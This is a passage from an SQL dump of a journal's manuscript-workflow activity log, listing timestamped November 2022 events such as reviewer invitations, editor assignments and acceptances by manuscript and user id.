Invited Reviewer',13135,'Publisher',248),(122411,'2022-11-01 14:13:06','Publisher has Invited Reviewer',13135,'Publisher',248),(122412,'2022-11-01 14:13:11','Publisher has Invited Reviewer',13135,'Publisher',248),(122413,'2022-11-01 14:13:15','Publisher has Invited Reviewer',13135,'Publisher',248),(122414,'2022-11-01 14:13:20','Publisher has Invited Reviewer',13135,'Publisher',248),(122415,'2022-11-01 14:13:24','Publisher has Invited Reviewer',13135,'Publisher',248),(122416,'2022-11-01 14:13:29','Publisher has Invited Reviewer',13135,'Publisher',248),(122417,'2022-11-01 14:13:34','Publisher has Invited Reviewer',13135,'Publisher',248),(122418,'2022-11-01 14:13:39','Publisher has Invited Reviewer',13135,'Publisher',248),(122419,'2022-11-01 14:13:43','Publisher has Invited Reviewer',13135,'Publisher',248),(122420,'2022-11-01 14:13:48','Publisher has Invited Reviewer',13135,'Publisher',248),(122421,'2022-11-01 14:13:53','Publisher has Invited Reviewer',13135,'Publisher',248),(122422,'2022-11-01 14:13:57','Publisher has Invited Reviewer',13135,'Publisher',248),(122423,'2022-11-01 14:14:02','Publisher has Invited Reviewer',13135,'Publisher',248),(122424,'2022-11-01 14:14:07','Publisher has Invited Reviewer',13135,'Publisher',248),(122425,'2022-11-01 14:14:12','Publisher has Invited Reviewer',13135,'Publisher',248),(122426,'2022-11-01 14:14:17','Publisher has Invited Reviewer',13135,'Publisher',248),(122427,'2022-11-01 14:14:21','Publisher has Invited Reviewer',13135,'Publisher',248),(122428,'2022-11-01 14:14:26','Publisher has Invited Reviewer',13135,'Publisher',248),(122429,'2022-11-01 14:14:30','Publisher has Invited Reviewer',13135,'Publisher',248),(122430,'2022-11-01 14:14:35','Publisher has Invited Reviewer',13135,'Publisher',248),(122431,'2022-11-01 14:14:40','Publisher has Invited Reviewer',13135,'Publisher',248),(122432,'2022-11-01 14:21:23','Manuscript Updated',13007,'Publisher',84),(122433,'2022-11-01 14:21:46','Publisher has been Accepted Articles  article',13007,'Publisher',84),(122434,'2022-11-01 14:22:23','Publisher has been Accepted Articles  article',13046,'Publisher',84),(122435,'2022-11-01 14:22:50','Manuscript Updated',13127,'Publisher',84),(122436,'2022-11-01 14:23:03','Publisher has been Accepted Articles  article',13127,'Publisher',84),(122437,'2022-11-01 14:23:22','Manuscript Updated',13128,'Publisher',84),(122438,'2022-11-01 14:23:37','Publisher has been Accepted Articles  article',13128,'Publisher',84),(122439,'2022-11-01 14:24:13','Manuscript Updated',12286,'Publisher',84),(122440,'2022-11-01 14:24:33','Publisher has been Accepted Articles  article',12286,'Publisher',84),(122441,'2022-11-01 14:24:35','Publisher has been Accepted Articles  article',12286,'Publisher',84),(122442,'2022-11-02 10:03:16','Publisher has been Assigned Editor',13145,'Publisher',988),(122443,'2022-11-02 10:03:30','Publisher has been Assigned Editor',13144,'Publisher',988),(122444,'2022-11-02 10:03:46','Publisher has been Assigned Editor',13143,'Publisher',988),(122445,'2022-11-02 10:04:07','Publisher has Invited Reviewer',13145,'Publisher',988),(122446,'2022-11-02 10:04:19','Publisher has Invited Reviewer',13145,'Publisher',988),(122447,'2022-11-02 10:04:24','Publisher has Invited Reviewer',13145,'Publisher',988),(122448,'2022-11-02 10:04:28','Publisher has Invited Reviewer',13145,'Publisher',988),(122449,'2022-11-02 10:04:33','Publisher has Invited Reviewer',13145,'Publisher',988),(122450,'2022-11-02 10:04:38','Publisher has Invited Reviewer',13145,'Publisher',988),(122451,'2022-11-02 10:04:42','Publisher has Invited Reviewer',13145,'Publisher',988),(122452,'2022-11-02 10:04:46','Publisher has Invited Reviewer',13145,'Publisher',988),(122453,'2022-11-02 10:04:51','Publisher has Invited Reviewer',13145,'Publisher',988),(122454,'2022-11-02 10:04:56','Publisher has Invited Reviewer',13145,'Publisher',988),(122455,'2022-11-02 10:05:00','Publisher has Invited Reviewer',13145,'Publisher',988),(122456,'2022-11-02 10:05:04','Publisher has Invited Reviewer',13145,'Publisher',988),(122457,'2022-11-02 10:05:09','Publisher has Invited Reviewer',13145,'Publisher',988),(122458,'2022-11-02 10:05:14','Publisher has Invited Reviewer',13145,'Publisher',988),(122459,'2022-11-02 10:05:18','Publisher has Invited Reviewer',13145,'Publisher',988),(122460,'2022-11-02 10:05:23','Publisher has Invited Reviewer',13145,'Publisher',988),(122461,'2022-11-02 10:05:27','Publisher has Invited Reviewer',13145,'Publisher',988),(122462,'2022-11-02 10:05:32','Publisher has Invited Reviewer',13145,'Publisher',988),(122463,'2022-11-02 10:05:36','Publisher has Invited Reviewer',13145,'Publisher',988),(122464,'2022-11-02 10:05:41','Publisher has Invited Reviewer',13145,'Publisher',988),(122465,'2022-11-02 10:05:46','Publisher has Invited Reviewer',13145,'Publisher',988),(122466,'2022-11-02 10:05:50','Publisher has Invited Reviewer',13145,'Publisher',988),(122467,'2022-11-02 10:05:55','Publisher has Invited Reviewer',13145,'Publisher',988),(122468,'2022-11-02 10:24:44','Publisher has Invited Reviewer',13144,'Publisher',988),(122469,'2022-11-02 10:24:49','Publisher has Invited Reviewer',13144,'Publisher',988),(122470,'2022-11-02 10:24:54','Publisher has Invited Reviewer',13144,'Publisher',988),(122471,'2022-11-02 10:24:58','Publisher has Invited Reviewer',13144,'Publisher',988),(122472,'2022-11-02 10:25:03','Publisher has Invited Reviewer',13144,'Publisher',988),(122473,'2022-11-02 10:25:07','Publisher has Invited Reviewer',13144,'Publisher',988),(122474,'2022-11-02 10:25:12','Publisher has Invited Reviewer',13144,'Publisher',988),(122475,'2022-11-02 10:25:17','Publisher has Invited Reviewer',13144,'Publisher',988),(122476,'2022-11-02 10:25:21','Publisher has Invited Reviewer',13144,'Publisher',988),(122477,'2022-11-02 10:25:26','Publisher has Invited Reviewer',13144,'Publisher',988),(122478,'2022-11-02 10:25:30','Publisher has Invited Reviewer',13144,'Publisher',988),(122479,'2022-11-02 10:25:35','Publisher has Invited Reviewer',13144,'Publisher',988),(122480,'2022-11-02 10:25:39','Publisher has Invited Reviewer',13144,'Publisher',988),(122481,'2022-11-02 10:25:44','Publisher has Invited Reviewer',13144,'Publisher',988),(122482,'2022-11-02 10:25:48','Publisher has Invited Reviewer',13144,'Publisher',988),(122483,'2022-11-02 10:25:53','Publisher has Invited Reviewer',13144,'Publisher',988),(122484,'2022-11-02 10:25:57','Publisher has Invited Reviewer',13144,'Publisher',988),(122485,'2022-11-02 10:26:02','Publisher has Invited Reviewer',13144,'Publisher',988),(122486,'2022-11-02 10:26:06','Publisher has Invited Reviewer',13144,'Publisher',988),(122487,'2022-11-02 10:26:11','Publisher has Invited Reviewer',13144,'Publisher',988),(122488,'2022-11-02 10:26:16','Publisher has Invited Reviewer',13144,'Publisher',988),(122489,'2022-11-02 10:26:20','Publisher has Invited Reviewer',13144,'Publisher',988),(122490,'2022-11-02 10:28:36','Publisher has Invited Reviewer',13143,'Publisher',988),(122491,'2022-11-02 10:28:41','Publisher has Invited Reviewer',13143,'Publisher',988),(122492,'2022-11-02 10:28:45','Publisher has Invited Reviewer',13143,'Publisher',988),(122493,'2022-11-02 10:28:50','Publisher has Invited Reviewer',13143,'Publisher',988),(122494,'2022-11-02 10:28:54','Publisher has Invited Reviewer',13143,'Publisher',988),(122495,'2022-11-02 10:28:59','Publisher has Invited Reviewer',13143,'Publisher',988),(122496,'2022-11-02 10:29:03','Publisher has Invited Reviewer',13143,'Publisher',988),(122497,'2022-11-02 10:29:08','Publisher has Invited Reviewer',13143,'Publisher',988),(122498,'2022-11-02 10:29:12','Publisher has Invited Reviewer',13143,'Publisher',988),(122499,'2022-11-02 10:29:17','Publisher has Invited Reviewer',13143,'Publisher',988),(122500,'2022-11-02 10:29:21','Publisher has Invited Reviewer',13143,'Publisher',988),(122501,'2022-11-02 10:29:26','Publisher has Invited Reviewer',13143,'Publisher',988),(122502,'2022-11-02 10:29:31','Publisher has Invited Reviewer',13143,'Publisher',988),(122503,'2022-11-02 10:29:35','Publisher has Invited Reviewer',13143,'Publisher',988),(122504,'2022-11-02 10:29:39','Publisher has Invited Reviewer',13143,'Publisher',988),(122505,'2022-11-02 10:29:44','Publisher has Invited Reviewer',13143,'Publisher',988),(122506,'2022-11-02 10:29:49','Publisher has Invited Reviewer',13143,'Publisher',988),(122507,'2022-11-02 10:29:53','Publisher has Invited Reviewer',13143,'Publisher',988),(122508,'2022-11-02 10:29:58','Publisher has Invited Reviewer',13143,'Publisher',988),(122509,'2022-11-02 10:30:03','Publisher has Invited Reviewer',13143,'Publisher',988),(122510,'2022-11-02 10:30:07','Publisher has Invited Reviewer',13143,'Publisher',988),(122511,'2022-11-02 10:30:12','Publisher has Invited Reviewer',13143,'Publisher',988),(122512,'2022-11-02 11:45:30','Manuscript Submitted by Author using Submission form',13154,'Author',13354),(122513,'2022-11-02 12:13:20','Reviewer has submitted comments',13145,'Reviewer',21475),(122514,'2022-11-02 12:13:59','Reviewer has submitted comments',13144,'Reviewer',21475),(122515,'2022-11-02 12:14:22','Reviewer has submitted comments',13143,'Reviewer',21475),(122516,'2022-11-02 12:15:28','Publisher : Notified Editor',13145,'Publisher',988),(122517,'2022-11-02 12:15:43','Publisher : Notified Editor',13144,'Publisher',988),(122518,'2022-11-02 12:16:02','Publisher : Notified Editor',13143,'Publisher',988),(122519,'2022-11-02 12:16:25','Editor has Accepted to review Manuscript',13145,'Editor',1779),(122520,'2022-11-02 12:16:34','Editor has been Editor Decision Accepted article',13145,'Editor',1779),(122521,'2022-11-02 12:16:39','Editor has Accepted to review Manuscript',13143,'Editor',1779),(122522,'2022-11-02 12:16:47','Editor has been Editor Decision Accepted article',13143,'Editor',1779),(122523,'2022-11-02 12:17:26','Editor has Accepted to review Manuscript',13144,'Editor',1410),(122524,'2022-11-02 12:17:35','Editor has been Editor Decision Accepted article',13144,'Editor',1410),(122525,'2022-11-02 12:18:14','Publisher: Accept Notification has been sent to Author',13145,'Publisher',988),(122526,'2022-11-02 12:18:38','Publisher: Accept Notification has been sent to Author',13144,'Publisher',988),(122527,'2022-11-02 12:18:59','Publisher: Accept Notification has been sent to Author',13143,'Publisher',988),(122528,'2022-11-02 12:19:19','Manuscript Updated',13145,'Publisher',988),(122529,'2022-11-02 12:19:29','Manuscript Updated',13144,'Publisher',988),(122530,'2022-11-02 12:19:39','Manuscript Updated',13143,'Publisher',988),(122531,'2022-11-02 12:21:29','Publisher has been Accepted Articles  article',13145,'Publisher',988),(122532,'2022-11-02 12:21:56','Publisher has been Accepted Articles  article',13144,'Publisher',988),(122533,'2022-11-02 12:22:22','Publisher has been Accepted Articles  article',13143,'Publisher',988),(122534,'2022-11-02 13:28:25','Publisher has been Accepted Articles  article',13135,'Publisher',248),(122535,'2022-11-02 14:17:56','Manuscript Submitted by Publisher',13155,'Publisher',673),(122536,'2022-11-02 15:09:38','Manuscript Updated',13137,'Publisher',248),(122537,'2022-11-02 15:10:06','Publisher has been Accepted Articles  article',13137,'Publisher',248),(122538,'2022-11-02 15:28:38','Publisher has been Accepted Articles  article',7186,'',1445),(122539,'2022-11-02 15:48:35','Publisher has been Accepted Articles  article',12157,'',1445),(122540,'2022-11-02 15:48:38','Publisher has been Accepted Articles  article',12157,'',1445),(122541,'2022-11-02 15:57:47','Publisher has been Accepted Articles  article',11589,'',1490),(122542,'2022-11-02 16:45:36','Publisher has been Accepted Articles  article',11958,'',1386),(122543,'2022-11-02 16:45:42','Publisher has been Accepted Articles  article',11958,'',1386),(122544,'2022-11-02 16:59:00','Publisher has been Accepted Articles  article',12295,'',1386),(122545,'2022-11-03 09:55:47','Publisher has been Accepted Articles  article',4328,'',1274),(122546,'2022-11-03 09:58:11','Publisher has been Accepted Articles  article',4328,'',1274),(122547,'2022-11-03 09:58:15','Publisher has been Accepted Articles  article',4328,'',1274),(122548,'2022-11-03 10:08:57','Publisher has been Assigned Editor',13153,'Publisher',673),(122549,'2022-11-03 10:09:16','Publisher has been Assigned Editor',13152,'Publisher',673),(122550,'2022-11-03 10:09:33','Publisher has been Assigned Editor',13151,'Publisher',673),(122551,'2022-11-03 10:09:54','Publisher has been Assigned Editor',13150,'Publisher',673),(122552,'2022-11-03 10:10:22','Publisher has Invited Reviewer',13153,'Publisher',673),(122553,'2022-11-03 10:10:26','Publisher has Invited Reviewer',13153,'Publisher',673),(122554,'2022-11-03 10:10:31','Publisher has Invited Reviewer',13153,'Publisher',673),(122555,'2022-11-03 10:10:36','Publisher has Invited Reviewer',13153,'Publisher',673),(122556,'2022-11-03 10:10:40','Publisher has Invited Reviewer',13153,'Publisher',673),(122557,'2022-11-03 10:10:45','Publisher has Invited Reviewer',13153,'Publisher',673),(122558,'2022-11-03 10:10:49','Publisher has Invited Reviewer',13153,'Publisher',673),(122559,'2022-11-03 10:10:54','Publisher has Invited Reviewer',13153,'Publisher',673),(122560,'2022-11-03 10:10:58','Publisher has Invited Reviewer',13153,'Publisher',673),(122561,'2022-11-03 10:11:03','Publisher has Invited Reviewer',13153,'Publisher',673),(122562,'2022-11-03 10:11:30','Publisher has Invited Reviewer',13152,'Publisher',673),(122563,'2022-11-03 10:11:35','Publisher has Invited Reviewer',13152,'Publisher',673),(122564,'2022-11-03 10:11:39','Publisher has Invited Reviewer',13152,'Publisher',673),(122565,'2022-11-03 10:11:44','Publisher has Invited Reviewer',13152,'Publisher',673),(122566,'2022-11-03 10:11:48','Publisher has Invited Reviewer',13152,'Publisher',673),(122567,'2022-11-03 10:11:53','Publisher has Invited Reviewer',13152,'Publisher',673),(122568,'2022-11-03 10:11:57','Publisher has Invited Reviewer',13152,'Publisher',673),(122569,'2022-11-03 10:12:02','Publisher has Invited Reviewer',13152,'Publisher',673),(122570,'2022-11-03 10:12:06','Publisher has Invited Reviewer',13152,'Publisher',673),(122571,'2022-11-03 10:12:11','Publisher has Invited Reviewer',13152,'Publisher',673),(122572,'2022-11-03 10:12:51','Publisher has Invited Reviewer',13152,'Publisher',673),(122573,'2022-11-03 10:12:56','Publisher has Invited Reviewer',13152,'Publisher',673),(122574,'2022-11-03 10:13:00','Publisher has Invited Reviewer',13152,'Publisher',673),(122575,'2022-11-03 10:13:05','Publisher has Invited Reviewer',13152,'Publisher',673),(122576,'2022-11-03 10:13:09','Publisher has Invited Reviewer',13152,'Publisher',673),(122577,'2022-11-03 10:13:14','Publisher has Invited Reviewer',13152,'Publisher',673),(122578,'2022-11-03 10:13:18','Publisher has Invited Reviewer',13152,'Publisher',673),(122579,'2022-11-03 10:13:22','Publisher has Invited Reviewer',13152,'Publisher',673),(122580,'2022-11-03 10:13:27','Publisher has Invited Reviewer',13152,'Publisher',673),(122581,'2022-11-03 10:13:31','Publisher has Invited Reviewer',13152,'Publisher',673),(122582,'2022-11-03 10:13:36','Publisher has Invited Reviewer',13152,'Publisher',673),(122583,'2022-11-03 10:13:40','Publisher has Invited Reviewer',13152,'Publisher',673),(122584,'2022-11-03 10:13:45','Publisher has Invited Reviewer',13152,'Publisher',673),(122585,'2022-11-03 10:13:49','Publisher has Invited Reviewer',13152,'Publisher',673),(122586,'2022-11-03 10:13:54','Publisher has Invited Reviewer',13152,'Publisher',673),(122587,'2022-11-03 10:13:58','Publisher has Invited Reviewer',13152,'Publisher',673),(122588,'2022-11-03 10:14:03','Publisher has Invited Reviewer',13152,'Publisher',673),(122589,'2022-11-03 10:14:07','Publisher has Invited Reviewer',13152,'Publisher',673),(122590,'2022-11-03 10:14:12','Publisher has Invited Reviewer',13152,'Publisher',673),(122591,'2022-11-03 10:14:16','Publisher has Invited Reviewer',13152,'Publisher',673),(122592,'2022-11-03 10:14:21','Publisher has Invited Reviewer',13152,'Publisher',673),(122593,'2022-11-03 10:14:25','Publisher has Invited Reviewer',13152,'Publisher',673),(122594,'2022-11-03 10:15:25','Publisher has Invited Reviewer',13151,'Publisher',673),(122595,'2022-11-03 10:15:29','Publisher has Invited Reviewer',13151,'Publisher',673),(122596,'2022-11-03 10:15:34','Publisher has Invited Reviewer',13151,'Publisher',673),(122597,'2022-11-03 10:15:38','Publisher has Invited Reviewer',13151,'Publisher',673),(122598,'2022-11-03 10:15:43','Publisher has Invited Reviewer',13151,'Publisher',673),(122599,'2022-11-03 10:15:47','Publisher has Invited Reviewer',13151,'Publisher',673),(122600,'2022-11-03 10:15:52','Publisher has Invited Reviewer',13151,'Publisher',673),(122601,'2022-11-03 10:15:56','Publisher has Invited Reviewer',13151,'Publisher',673),(122602,'2022-11-03 10:16:01','Publisher has Invited Reviewer',13151,'Publisher',673),(122603,'2022-11-03 10:16:06','Publisher has Invited Reviewer',13151,'Publisher',673),(122604,'2022-11-03 10:16:10','Publisher has Invited Reviewer',13151,'Publisher',673),(122605,'2022-11-03 10:17:11','Publisher has Invited Reviewer',13150,'Publisher',673),(122606,'2022-11-03 10:17:15','Publisher has Invited Reviewer',13150,'Publisher',673),(122607,'2022-11-03 10:17:20','Publisher has Invited Reviewer',13150,'Publisher',673),(122608,'2022-11-03 10:17:24','Publisher has Invited Reviewer',13150,'Publisher',673),(122609,'2022-11-03 10:17:29','Publisher has Invited Reviewer',13150,'Publisher',673),(122610,'2022-11-03 10:17:33','Publisher has Invited Reviewer',13150,'Publisher',673),(122611,'2022-11-03 10:17:38','Publisher has Invited Reviewer',13150,'Publisher',673),(122612,'2022-11-03 10:17:42','Publisher has Invited Reviewer',13150,'Publisher',673),(122613,'2022-11-03 10:17:47','Publisher has Invited Reviewer',13150,'Publisher',673),(122614,'2022-11-03 10:17:51','Publisher has Invited Reviewer',13150,'Publisher',673),(122615,'2022-11-03 10:17:56','Publisher has Invited Reviewer',13150,'Publisher',673),(122616,'2022-11-03 10:18:01','Publisher has Invited Reviewer',13150,'Publisher',673),(122617,'2022-11-03 10:18:05','Publisher has Invited Reviewer',13150,'Publisher',673),(122618,'2022-11-03 10:19:08','Publisher has been Accepted Articles  article',5925,'',1274),(122619,'2022-11-03 10:19:11','Publisher has been Accepted Articles  article',5925,'',1274),(122620,'2022-11-03 10:27:29','Publisher has been Assigned Editor',13133,'Publisher',376),(122621,'2022-11-03 10:30:08','Publisher has been Accepted Articles  article',6460,'',1274),(122622,'2022-11-03 10:31:42','Publisher has been Accepted Articles  article',6463,'',1274),(122623,'2022-11-03 10:32:48','Publisher has been Accepted Articles  article',6681,'',1274),(122624,'2022-11-03 10:33:44','Publisher has been Accepted Articles  article',6761,'',1274),(122625,'2022-11-03 10:34:32','Publisher has been Assigned Editor',13131,'Publisher',376),(122626,'2022-11-03 10:34:43','Publisher has been Assigned Editor',13130,'Publisher',376),(122627,'2022-11-03 10:35:07','Publisher has Invited Reviewer',13133,'Publisher',376),(122628,'2022-11-03 10:35:12','Publisher has Invited Reviewer',13133,'Publisher',376),(122629,'2022-11-03 10:35:16','Publisher has Invited Reviewer',13133,'Publisher',376),(122630,'2022-11-03 10:35:21','Publisher has Invited Reviewer',13133,'Publisher',376),(122631,'2022-11-03 10:35:26','Publisher has Invited Reviewer',13133,'Publisher',376),(122632,'2022-11-03 10:35:30','Publisher has Invited Reviewer',13133,'Publisher',376),(122633,'2022-11-03 11:32:07','Publisher has been Accepted Articles  article',6229,'',1334),(122634,'2022-11-03 11:42:04','Publisher has been Accepted Articles  article',12386,'',1334),(122635,'2022-11-03 12:21:24','Publisher has been Accepted Articles  article',4248,'',1274),(122636,'2022-11-03 12:21:32','Publisher has been Accepted Articles  article',4248,'',1274),(122637,'2022-11-03 12:21:39','Publisher has been Accepted Articles  article',4248,'',1274),(122638,'2022-11-03 12:33:21','Publisher has been Accepted Articles  article',10454,'',1445),(122639,'2022-11-03 12:33:25','Publisher has been Accepted Articles  article',10454,'',1445),(122640,'2022-11-03 12:50:17','Publisher has been Accepted Articles  article',11320,'',1281),(122641,'2022-11-03 12:55:29','Publisher has been Assigned Editor',12573,'',1281),(122642,'2022-11-03 13:01:04','Publisher has been Accepted Articles  article',12573,'',1281),(122643,'2022-11-03 14:13:56','Publisher has been Accepted Articles  article',12579,'',1281),(122644,'2022-11-03 14:20:00','Publisher has been Accepted Articles  article',12726,'',1281),(122645,'2022-11-03 14:36:14','Manuscript Submitted by Author using Submission form',13156,'Author',13356),(122646,'2022-11-03 14:44:03','Editor has Accepted to review Manuscript',13153,'Editor',1456),(122647,'2022-11-03 14:44:14','Editor has been Editor Decision Accepted article',13153,'Editor',1456),(122648,'2022-11-03 14:44:19','Editor has Accepted to review Manuscript',13152,'Editor',1456),(122649,'2022-11-03 14:44:31','Editor has been Editor Decision Accepted article',13152,'Editor',1456),(122650,'2022-11-03 14:44:40','Editor has Accepted to review Manuscript',13151,'Editor',1456),(122651,'2022-11-03 14:46:06','Editor has been Editor Decision Accepted article',13151,'Editor',1456),(122652,'2022-11-03 14:46:26','Editor has Accepted to review Manuscript',13150,'Editor',1456),(122653,'2022-11-03 14:46:36','Editor has been Editor Decision Accepted article',13150,'Editor',1456),(122654,'2022-11-03 14:47:26','Manuscript Updated',13150,'Publisher',673),(122655,'2022-11-03 14:47:45','Publisher has been Accepted Articles  article',13150,'Publisher',673),(122656,'2022-11-03 14:47:55','Manuscript Updated',13150,'Publisher',673),(122657,'2022-11-03 14:48:04','Manuscript Updated',13151,'Publisher',673),(122658,'2022-11-03 14:48:21','Publisher has been Accepted Articles  article',13151,'Publisher',673),(122659,'2022-11-03 14:48:31','Manuscript Updated',13151,'Publisher',673),(122660,'2022-11-03 14:48:43','Manuscript Updated',13152,'Publisher',673),(122661,'2022-11-03 14:49:13','Publisher has been Accepted Articles  article',13152,'Publisher',673),(122662,'2022-11-03 14:52:39','Manuscript Updated',13152,'Publisher',673),(122663,'2022-11-03 14:58:59','Publisher has been Assigned Editor',12712,'',1279),(122664,'2022-11-03 15:03:51','Publisher has been Accepted Articles  article',12712,'',1279),(122665,'2022-11-03 15:10:52','Publisher has been Accepted Articles  article',12753,'',1279),(122666,'2022-11-03 15:17:13','Publisher has been Assigned Editor',12770,'',1279),(122667,'2022-11-03 15:36:39','Publisher has been Accepted Articles  article',12770,'',1279),(122668,'2022-11-03 16:04:57','Publisher has been Accepted Articles  article',12434,'',1334),(122669,'2022-11-03 16:05:24','Publisher has been Accepted Articles  article',12434,'',1334),(122670,'2022-11-03 17:28:47','Publisher has been Accepted Articles  article',12403,'',1334),(122671,'2022-11-04 04:38:55','Reviewer has submitted comments',13152,'Reviewer',11355),(122672,'2022-11-04 06:16:16','Reviewer has submitted comments',13153,'Reviewer',11355),(122673,'2022-11-04 09:22:35','Publisher has Unassign Editor',13142,'Publisher',319),(122674,'2022-11-04 11:34:45','Publisher has been Accepted Articles  article',13069,'Publisher',85),(122675,'2022-11-04 11:35:16','Publisher: Accept Notification has been sent to Author',13069,'Publisher',85),(122676,'2022-11-04 11:37:32','Publisher has Invited Reviewer',13125,'Publisher',85),(122677,'2022-11-04 11:37:37','Publisher has Invited Reviewer',13125,'Publisher',85),(122678,'2022-11-04 11:37:41','Publisher has Invited Reviewer',13125,'Publisher',85),(122679,'2022-11-04 11:37:46','Publisher has Invited Reviewer',13125,'Publisher',85),(122680,'2022-11-04 11:37:50','Publisher has Invited Reviewer',13125,'Publisher',85),(122681,'2022-11-04 11:59:39','Publisher has been Assigned Editor',13149,'Publisher',48),(122682,'2022-11-04 12:21:27','Manuscript Submitted by Author using Submission form',13157,'Author',13357),(122683,'2022-11-04 14:42:46','Manuscript Submitted by Author using Submission form',13158,'Author',13358),(122684,'2022-11-04 15:57:19','Manuscript Submitted by Author using Submission form',13159,'Author',13359),(122685,'2022-11-04 17:01:50','Publisher has been Accepted Articles  article',11101,'',1376),(122686,'2022-11-04 17:18:23','Publisher has been Assigned Editor',12787,'',1334),(122687,'2022-11-04 17:19:55','Publisher has been Accepted Articles  article',12787,'',1334),(122688,'2022-11-04 22:52:09','Reviewer has submitted comments',13125,'Reviewer',21528),(122689,'2022-11-05 09:08:08','Publisher has been Assigned Editor',13154,'Publisher',85),(122690,'2022-11-05 09:08:58','Editor has Accepted to review Manuscript',13154,'Editor',1394),(122691,'2022-11-05 09:14:53','Publisher has Invited Reviewer',13154,'Publisher',85),(122692,'2022-11-05 09:14:58','Publisher has Invited Reviewer',13154,'Publisher',85),(122693,'2022-11-05 09:15:03','Publisher has Invited Reviewer',13154,'Publisher',85),(122694,'2022-11-05 09:15:08','Publisher has Invited Reviewer',13154,'Publisher',85),(122695,'2022-11-05 09:15:13','Publisher has Invited Reviewer',13154,'Publisher',85),(122696,'2022-11-05 09:33:53','Publisher has been Assigned Editor',13159,'Publisher',1033),(122697,'2022-11-05 09:34:29','Publisher has been Assigned Editor',13158,'Publisher',1033),(122698,'2022-11-05 09:34:45','Publisher has been Assigned Editor',13156,'Publisher',1033),(122699,'2022-11-05 10:01:41','Publisher has Invited Reviewer',13156,'Publisher',1033),(122700,'2022-11-05 10:01:46','Publisher has Invited Reviewer',13156,'Publisher',1033),(122701,'2022-11-05 10:02:26','Publisher has Invited Reviewer',13158,'Publisher',1033),(122702,'2022-11-05 10:02:31','Publisher has Invited Reviewer',13158,'Publisher',1033),(122703,'2022-11-05 10:02:55','Publisher has Invited Reviewer',13159,'Publisher',1033),(122704,'2022-11-05 10:03:00','Publisher has Invited Reviewer',13159,'Publisher',1033),(122705,'2022-11-05 10:56:44','Publisher has Invited Reviewer',4071,'Publisher',984),(122706,'2022-11-05 10:58:54','Reviewer has submitted comments',4071,'Reviewer',21375),(122707,'2022-11-05 10:59:31','Publisher : Notified Editor',4071,'Publisher',984),(122708,'2022-11-05 11:00:53','Editor has Accepted to review Manuscript',4071,'Editor',1406),(122709,'2022-11-05 11:01:18','Editor has been Editor Decision Accepted article',4071,'Editor',1406),(122710,'2022-11-05 11:02:27','Publisher has been Accepted Articles  article',4071,'Publisher',984),(122711,'2022-11-05 11:11:46','Manuscript Updated',13112,'Publisher',319),(122712,'2022-11-05 11:12:02','Publisher has been Accepted Articles  article',13112,'Publisher',319),(122713,'2022-11-05 11:12:35','Manuscript Updated',13113,'Publisher',319),(122714,'2022-11-05 11:12:49','Publisher has been Accepted Articles  article',13113,'Publisher',319),(122715,'2022-11-05 11:13:23','Publisher has been Accepted Articles  article',13139,'Publisher',319),(122716,'2022-11-05 12:34:14','Manuscript Updated',13083,'Publisher',248),(122717,'2022-11-05 12:34:28','Publisher has been Accepted Articles  article',13083,'Publisher',248),(122718,'2022-11-06 23:53:14','Reviewer has submitted comments',13153,'Reviewer',11353),(122719,'2022-11-07 00:28:28','Reviewer has submitted comments',13152,'Reviewer',11353),(122720,'2022-11-07 11:18:32','Publisher has Invited Reviewer',13149,'Publisher',48),(122721,'2022-11-07 11:18:37','Publisher has Invited Reviewer',13149,'Publisher',48),(122722,'2022-11-07 11:18:41','Publisher has Invited Reviewer',13149,'Publisher',48),(122723,'2022-11-07 11:18:46','Publisher has Invited Reviewer',13149,'Publisher',48),(122724,'2022-11-07 14:07:54','Editor has Accepted to review Manuscript',13124,'Editor',359),(122725,'2022-11-07 14:09:47','Editor has been Editor Decision Accepted article',13124,'Editor',359),(122726,'2022-11-07 15:14:39','Reviewer has submitted comments',13149,'Reviewer',5467),(122727,'2022-11-08 10:19:55','Publisher has been Accepted Articles  article',12965,'',1279),(122728,'2022-11-08 12:39:11','Publisher has been Accepted Articles  article',12995,'',1323),(122729,'2022-11-08 12:39:37','Publisher has been Accepted Articles  article',12908,'',1323),(122730,'2022-11-08 12:52:17','Publisher has been Assigned Editor',12960,'',1445),(122731,'2022-11-08 12:53:04','Publisher has been Accepted Articles  article',12960,'',1445),(122732,'2022-11-08 12:55:43','Publisher has been Assigned Editor',13001,'',1279),(122733,'2022-11-08 12:56:19','Publisher has been Accepted Articles  article',13001,'',1279),(122734,'2022-11-09 09:34:11','Publisher has been Assigned Editor',13157,'Publisher',248),(122735,'2022-11-09 10:08:40','Publisher has been Rejected Articles  article',12995,'',1323),(122736,'2022-11-09 13:38:36','Editor has Accepted to review Manuscript',13149,'Editor',194),(122737,'2022-11-09 13:38:46','Editor has been Editor Decision Accepted article',13149,'Editor',194),(122738,'2022-11-09 13:39:27','Publisher: Accept Notification has been sent to Author',13149,'Publisher',48),(122739,'2022-11-10 09:09:16','Manuscript Submitted by Author using Submission form',13160,'Author',13360),(122740,'2022-11-10 15:12:27','Editor has been Editor Decision Accepted article',13070,'Editor',634),(122741,'2022-11-10 15:12:34','Editor has been Editor Decision Accepted article',13063,'Editor',634),(122742,'2022-11-10 15:13:14','Publisher has been Accepted Articles  article',13070,'Publisher',645),(122743,'2022-11-10 15:13:28','Publisher has been Accepted Articles  article',13063,'Publisher',645),(122744,'2022-11-10 16:48:30','Manuscript Updated',13133,'Publisher',376),(122745,'2022-11-10 16:49:05','Publisher has been Accepted Articles  article',13133,'Publisher',376),(122746,'2022-11-10 17:24:50','Publisher has been Accepted Articles  article',13067,'Publisher',48),(122747,'2022-11-11 11:27:00','Manuscript Updated',13157,'Publisher',248),(122748,'2022-11-11 11:36:46','Editor has Accepted to review Manuscript',13131,'Editor',1452),(122749,'2022-11-11 11:36:55','Editor has been Editor Decision Accepted article',13131,'Editor',1452),(122750,'2022-11-11 11:37:02','Editor has Accepted to review Manuscript',13130,'Editor',1452),(122751,'2022-11-11 11:37:13','Editor has been Editor Decision Accepted article',13130,'Editor',1452),(122752,'2022-11-11 12:21:14','Publisher has been Accepted Articles  article',13157,'Publisher',248),(122753,'2022-11-11 13:20:56','Manuscript Submitted by Publisher',13164,'Publisher',48),(122754,'2022-11-11 13:29:35','Manuscript Submitted by Publisher',13165,'Publisher',376),(122755,'2022-11-14 10:03:15','Manuscript Submitted by Publisher',13166,'',1050),(122756,'2022-11-14 10:55:58','Publisher has been Assigned Editor',13165,'Publisher',376),(122757,'2022-11-14 10:56:57','Editor has Accepted to review Manuscript',13165,'Editor',1011),(122758,'2022-11-14 10:57:07','Editor has been Editor Decision Accepted 